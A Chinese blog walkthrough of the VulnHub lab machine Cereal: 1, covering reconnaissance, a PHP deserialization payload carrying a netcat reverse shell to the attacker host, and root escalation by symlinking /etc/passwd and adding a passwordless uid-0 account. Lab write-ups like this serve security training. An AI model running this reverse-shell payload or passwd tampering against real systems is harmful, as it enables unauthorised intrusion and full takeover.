vulnhub靶場之CEREAL: 1

upfine發表於2023-02-07

準備:

攻擊機:虛擬機器kali、本機win10。

靶機:Cereal: 1,下載地址:https://download.vulnhub.com/cereal/Cereal.ova,下載後直接vbox開啟即可。

知識點:/etc/passwd檔案提權、dns解析、反序列化漏洞、子域名收集、軟連線提權。

 

 資訊收集:

透過nmap掃描下網段內的存活主機地址,確定下靶機的地址:nmap -sn 192.168.5.0/24,獲得靶機地址:192.168.5.169。

掃描下埠對應的服務:nmap -T4 -sV -p- -A 192.168.5.169,顯示開放了21、22、80、3306、44441等埠,開啟了http服務、ftp服務、ssh服務等。

 目錄掃描:

使用gobuster進行目錄掃描,命令:gobuster dir -u http://192.168.5.169 -x php,html,txt,zip,phar,ba -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt,發現/blog目錄、/admin目錄、phpinfo.php檔案。在掃描44441埠時未發現有效的資訊。

  訪問:http://192.168.5.169/admin/返回的是一個登入頁面,訪問:http://192.168.5.169/blog/返回一個資訊頁面,返回的資訊中告訴我們一個地址:http://cereal.ctf,猜測是要進行dns解析。

 win:開啟C:\Windows\System32\drivers\etc\hosts檔案,kali:開啟/etc/hosts檔案,新增:192.168.5.169 cereal.ctf。然後訪問:http://cereal.ctf/blog/,但是同樣未發現可以利用的資訊。

子域名資訊收集:

使用gobuster進子域名掃描,發現secure.cereal.ctf,將192.168.5.169 secure.cereal.ctf新增到hosts檔案中。

 

 訪問:http://secure.cereal.ctf:44441/網站,顯示是一個可以進行ping測試的頁面,嘗試進行命令注入:192.168.5.150 | ifconfig,但是失敗。

 訪問頁面的原始碼資訊,發現一些關於序列化的例子,猜測這裡可能和反序列化有關,抓取資料包進行檢視。

  使用gobuster對子域名進行目錄掃描,發現:/back_en目錄,繼續對該目錄進行掃描,獲得:index.php.bak檔案。

訪問index.php.bak檔案並檢視該原始碼資訊,發現當$isValid = False時會對ip進行過濾檢查,因此我們需要設定$isValid = True來繞過ip過濾。

反序列化漏洞獲取shell:

因此根據我們的分析在序列化資料中寫入我們的反彈shell,生成序列化程式碼。

<?php
class pingTest {
     public $ipAddress = "127.0.0.1 & nc -e /bin/bash 192.168.5.150 6688";
     public $isValid = True;
}
echo urlencode(serialize(new pingTest));
?>

 

 O%3A8%3A%22pingTest%22%3A2%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A46%3A%22127.0.0.1+%26+nc+-e+%2Fbin%2Fbash+192.168.5.150+6688%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3B%7D

在bp抓取的資料包中替換序列化資料,然後在kali中開啟對6688埠的監聽,傳送抓取的資料包,成功獲得shell許可權。

 

 升級下shell許可權,但是升級時發現不存在python,因此只能使用:SHELL=bash script -q /dev/null進行升級。

 提權-資訊收集:

嘗試使用sudo -l查詢可以執行命令,使用find / -perm -4000 -type f 2>/dev/null查詢可疑檔案,但是未發現可以利用的命令和可疑的特殊檔案。

那就直接上傳pspy64檢視下靶機得程式資訊,發現了一個可疑檔案:/bin/bash /usr/share/scripts/chown.sh。

  檢視下/usr/share/scripts/chown.sh檔案的資訊,發現該檔案的執行結果是賦予apache賬戶對/home/rocky/public_html/目錄下檔案的使用許可權。可檢視chown命令詳解。

  軟連線提權:

 這裡看到rocky賬戶具有/etc/passwd檔案的許可權,因此我們可疑將該檔案進行軟連線到/home/rocky/public_html/目錄,使apache賬戶也具有該檔案的許可權。

  但是在嘗試修改該檔案時左右鍵無法正常使用,因此我們只能新建一個具有root許可權的賬戶,複製root賬戶的資訊並刪除掉佔位符x:upfine::0:0:root:/root:/bin/bash寫入到passwd檔案中。

  獲得root許可權後在/root目錄下發現proof.txt檔案,讀取該檔案成功獲得flag值。

 

相關文章